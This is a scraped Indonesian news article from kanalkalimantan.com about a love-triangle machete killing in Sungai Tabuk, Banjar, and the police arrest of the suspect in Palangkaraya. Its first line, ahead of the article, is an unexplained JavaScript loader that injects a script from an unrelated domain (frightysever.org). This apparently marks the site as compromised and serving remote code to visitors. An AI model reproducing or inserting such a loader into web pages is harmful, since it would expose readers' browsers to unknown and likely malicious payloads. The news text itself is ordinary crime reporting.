(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Peristiwa pembunuhan berlatar cinta segitiga yang terjadi di Kecamatan Sungai Tabuk, Kabupaten Banjar, pada Selasa (22/10) kemarin menggegerkan masyarakat. Pelaku yang sempat melarikan diri, akhirnya berhasil diringkus tim gabungan Resmob Polres Banjar dan unit Reskrim Polsek Sungai Tabuk
Pelaku diketahui bernama Muhammad Yusuf (30), diringkus di kota Palangkaraya, Kalimantan Tengah, tepatnya di jalan RT A Milono Km 3,5, Kamis (24/10) sekitar pukul 03.30 Wita.
Pelaku buron hampir 3 hari ini, ditemukan di wilayah hukum Polsek Pahandut Palangkaraya, Kalimantan Tengah. Dalam penangkapan, pihak kepolisian terpaksa menembakan timah panas untuk menghentikan aksi kabur pelaku.
“Karena pelaku melawan dan mencoba kabur, kami terpaksa menembak kaki kanan pelaku. Pelaku sudah mendapati perawatan dari pihak medis dan saat ini sudah berada di Mapolres Banjar untuk menjalani proses hukum yang berlaku,†kata Kapolres Banjar AKBP Takdir Mattanette didampingi Kasat Reskrim Iptu Rizky Fernandez.
Dijelaskan juga, pelaku saat ditangkap sedang berada di rumah temannya. Usai ditangkap, Yusuf sendiri mengakui semua perbuatannya tersebut.
Dari pengakuan pelaku, Kasat Reskrim menjelaskan, tindakan nekat dengan membunuh Suryadi (45) dikarenakan korban mencoba merusak rumah tangganya.
“Pelaku kita sangkakan UU 351 Ayat 3 Jo Pasal 338 KUHP tentang Pembunuhan ancaman maksimal 18 tahun penjara,†ujar Iptu Rizky.
Awal Mula Perseteruan Suami dan Mantan Suami
Sebelumnya, kasus perkelahian atau duel maut ini melibatkan suami (tersangka) dan mantan suami (korban) dari Wati, warga Desa Gudang Hirang, Kecamatan Sungai Tabuk, Kabupaten Banjar. Duel maut ini mengakibatkan Suryadi yang berstatus mantan suami, bersimbah darah dan meninggal dunia akibat luka sabetan parang dari Muhammad Yusuf.
Awalnya, Suryadi saat itu mendatangi rumah mantan istrinya, di kawasan Jalan Martapura Lama, Komplek Antasari Perdana RT 16, Kecamatan Sungai Tabuk, Kabupaten Banjar. Suryadi datang sudah dalam kondisi emosi dan mengamuk di halaman depan rumah mantan istrinya tersebut.
Di saat bersaman, Yusuf yang tidak terima dengan perlakuan Suryadi menunggu di dalam rumah dengan sebilah parang. Alhasil, Suryadi yang mendobrak pintu, langsung mendapatkan serangan dari ayunan parang Yusuf.
Suryadi menderita luka sayatan di kaki dan tangan kirinya, lalu mencoba kabur. Namun karena kondisi luka parah tersebut, nyawa Suryadi tidak tertolong dan langsung dievakuasi ke RSUD Ulin. (rico)
KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satuan Lalu Lintas (Satlantas) Polres Hulu Sungai Utara (HSU) menggelar kegiatan bertajuk… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Lautan manusia jemaah Haul ke-6 KH Ahmad Zuhdianoor atau dikenal Abah Haji… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang bulan Ramadan, Badan Pangan Nasional (Bapanas) bersama Satgas Saber Pangan Kabupaten… Read More
This website uses cookies.